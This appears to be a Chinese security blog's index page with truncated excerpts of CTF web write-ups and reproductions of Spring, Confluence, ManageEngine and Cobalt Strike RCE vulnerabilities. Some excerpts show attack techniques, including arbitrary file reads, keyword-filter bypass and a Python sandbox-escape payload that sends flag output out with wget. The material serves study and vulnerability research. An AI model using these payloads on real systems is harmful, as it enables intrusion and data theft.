NEEPU Sec 2023 公开赛web题复现
抽空参加了一下东北电力大学的公开赛,题出的挺好的,遂专门写一篇文章,主要是学习一下java题
Cute Cirno访问/r3aDF1le?filename=可以任意文件读取,发现filename传空时会报错
给出了源码路径,其实也可以读取/proc/self/cmdline获取路径
CuteCirno.py:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657from flask import Flask, request, session, render_template, render_template_stringimport os, base64from NeepuFile import neepu_filesCuteCirno = Flask(__name__, static_url_path='/static', static_ ...
CVE-2022-22965 Spring4Shell
继续看看最近的Spring框架漏洞,非常有名的Spring4Shell
官方通告:https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
环境搭建使用github上的docker项目:https://github.com/reznok/Spring4Shell-POC
修改Dockerfile进行换源,debian各个版本的阿里镜像:https://developer.aliyun.com/mirror/debian
添加我们的远程调试:
1ENV JAVA_TOOL_OPTIONS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:10087
最后开启docker,docker build . -t spring4shell && docker run -p 8080:8080 -p 10087:10087 spring4shell
漏洞分析这个漏洞基于CVE-2010-1622,是该漏洞的补丁绕 ...
2023 AntCTF x D3CTF web题部分wp
记录一下2023 AntCTF x D3CTF的做题思路,并复现一下没做出来的题
Escape Plan题目描述:
The success for a break out depends on three things.
layout: black_char
routine: Python tricks
help: Run /readflag to get flag, dns tunneling may help you
题目给出了源码
可以看到就是一个黑名单的绕过技巧,这里找到文章:Python 沙箱逃逸的通解探索之路题目环境是python3.8,支持了 Unicode 变量名,那么就可以利用特殊字符来绕过关键字
1eval == ᵉval
并且数字也是可以使用 Unicode 绕的,文章中使用的是:https://www.fileformat.info/info/unicode/category/Nd/list.htm
无回显,使用dnslog外带数据
1__import__('os').popen('wget `/readflag ...
CVE-2022-22963 SpringCloud Function SpEL RCE
Spring Cloud Function 是基于 Spring Boot 的函数计算框架。该项目致力于促进函数为主的开发单元,它抽象出所有传输细节和基础架构,并提供一个通用的模型,用于在各种平台上部署基于函数的软件
由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的spring.cloud.function.routing-expression参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码
官方通告:https://spring.io/security/cve-2022-22963
影响版本:
3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
Spring Cloud Function <= 3.2.2
不受影响版本:
Spring Cloud Function 3.1.7
Spring Cloud Function 3.2.3
环境搭建可以借助Spring Initiali ...
CVE-2022-22947 SpringCloud GateWay SpEL RCE
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式
Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求
官方公告:https://tanzu.vmware.com/security/cve-2022-22947
漏洞影响版本:
Spring Cloud Gateway 3.1.0
Spring Cloud Gateway 3.0.0 - 3.0.6
Spring Cloud Gateway 其它不支持的、已不再更新的版本
下载存在漏洞的版本v3.1.0:https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.1.0
漏洞 ...
SpEL表达式注入漏洞学习
认识SpELSpring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中
SpEL使用#{}作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等这里需要注意#{}和${}的区别:
#{}就是SpEL的定界符,用于指明内容为SpEL表达式并执行
${}主要用于加载外部属性文件中的值
两者可以混合使用,但是必须#{}在外面,${}在里面,如#{'${}'},注意单引号是字符串类型才添加的
实验环境:https://github.com/LandGrey/SpringBootVulExpl ...
CVE-2022-26134 Confluence OGNL RCE
Atlassian Confluence(简称Confluence)是一个专业的wiki程序。它是一个知识管理的工具,通过它可以实现团队成员之间的协作和知识共享
2022 年 6 月 2 日,Atlassian 发布了针对其 Confluence 服务器和数据中心应用程序的安全公告,强调了一个严重的未经身份验证的远程代码执行漏洞。OGNL 注入漏洞允许未经身份验证的用户在 Confluence 服务器或数据中心实例上执行任意代码
官网通告:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
影响版本:
1234567from 1.3.0 before 7.4.17from 7.13.0 before 7.13.7from 7.14.0 before 7.14.3from 7.15.0 before 7.15.2from 7.16.0 before 7.16.4from 7.17.0 before 7.17.4from 7.18.0 before 7.1 ...
CVE-2022-28219 ManageEngine ADAudit Plus XXE to RCE
很有意思的一个洞,复现的同时学习一下java中xxe的攻击手法
漏洞公告:https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html
影响版本:All ADAudit Plus builds below 7060
漏洞复现在域控中下载存在漏洞的版本:https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x64.exe默认安装即可,访问8081端口
默认账号密码为admin/admin
XXE首先是一个无回显的XXE漏洞,如果单纯使用HTTP协议,是无法读取具有换行的文件的,那么就需要使用工具:https://github.com/LandGrey/xxe-ftp-server,即使用FTP协议来向外传递数据
并且在jdk老版本中的xxe可以通过file://和netdoc://协议读文件以及列目录,我们可以看到下载的jdk版本为1.8.0_51低版本
具 ...
CVE-2022-39197 CS RCE复现分析
Cobalt Strike(也称CS)由美国Red Team开发,是一款基于java的内网渗透测试工具,是最早的公共红队指挥和控制框架之一。Cobalt Strike旨在通过模拟几种可能的攻击工具和场景,允许渗透测试人员和网络防御人员检查他们的安全专业的强度。然而,安全测试套件也被黑客(包括勒索软件团伙)广泛使用,以渗透目标网络
该漏洞存在于Cobalt Strike的Beacon软件中,可能允许攻击者通过在Beacon配置中设置假用户名,触发XSS,进而在 CS Server上造成远程代码执行
影响范围:
Cobalt Strike <= 4.7
漏洞原文:https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/
Swing框架这个漏洞本质上是java自带的GUI组件swing的html注入
从官方给出的文档:https://docs.oracle.com/javase/tutorial/uiswing/components/html.html可以知道,Swing本身是支持 ...
记一次实战的hessian反序列化
哎,今年怕是连厂都进不了了,有没有人收留我啊,混口饭吃~
hessian反序列化在某公司实习的时候参与了众测项目,扫到了一个很奇怪的站,中间件为jetty
随便POST一个参数报错,发现是直接对POST参数进行反序列化,看到HessianInput.readObject就懂了,hessian可以打无依赖链,也可以打Rome、XBean、Resin、SpringPartiallyComparableAdvisorHolder等等,测试发现是windows操作系统
查找类的相关信息
发现跟 https://gitee.com/xuxueli0323/xxl-job 这个项目很像,以前是出过一次hessian反序列化漏洞的:xxl-job api未授权Hessian2反序列化,使用的是SpringPartiallyComparableAdvisorHolder这条链
SpringPartiallyComparableAdvisorHolder链利用条件:存在 org.springframework:spring-aop 依赖
具体就不分析了,主要是HotSwappableTargetSou ...














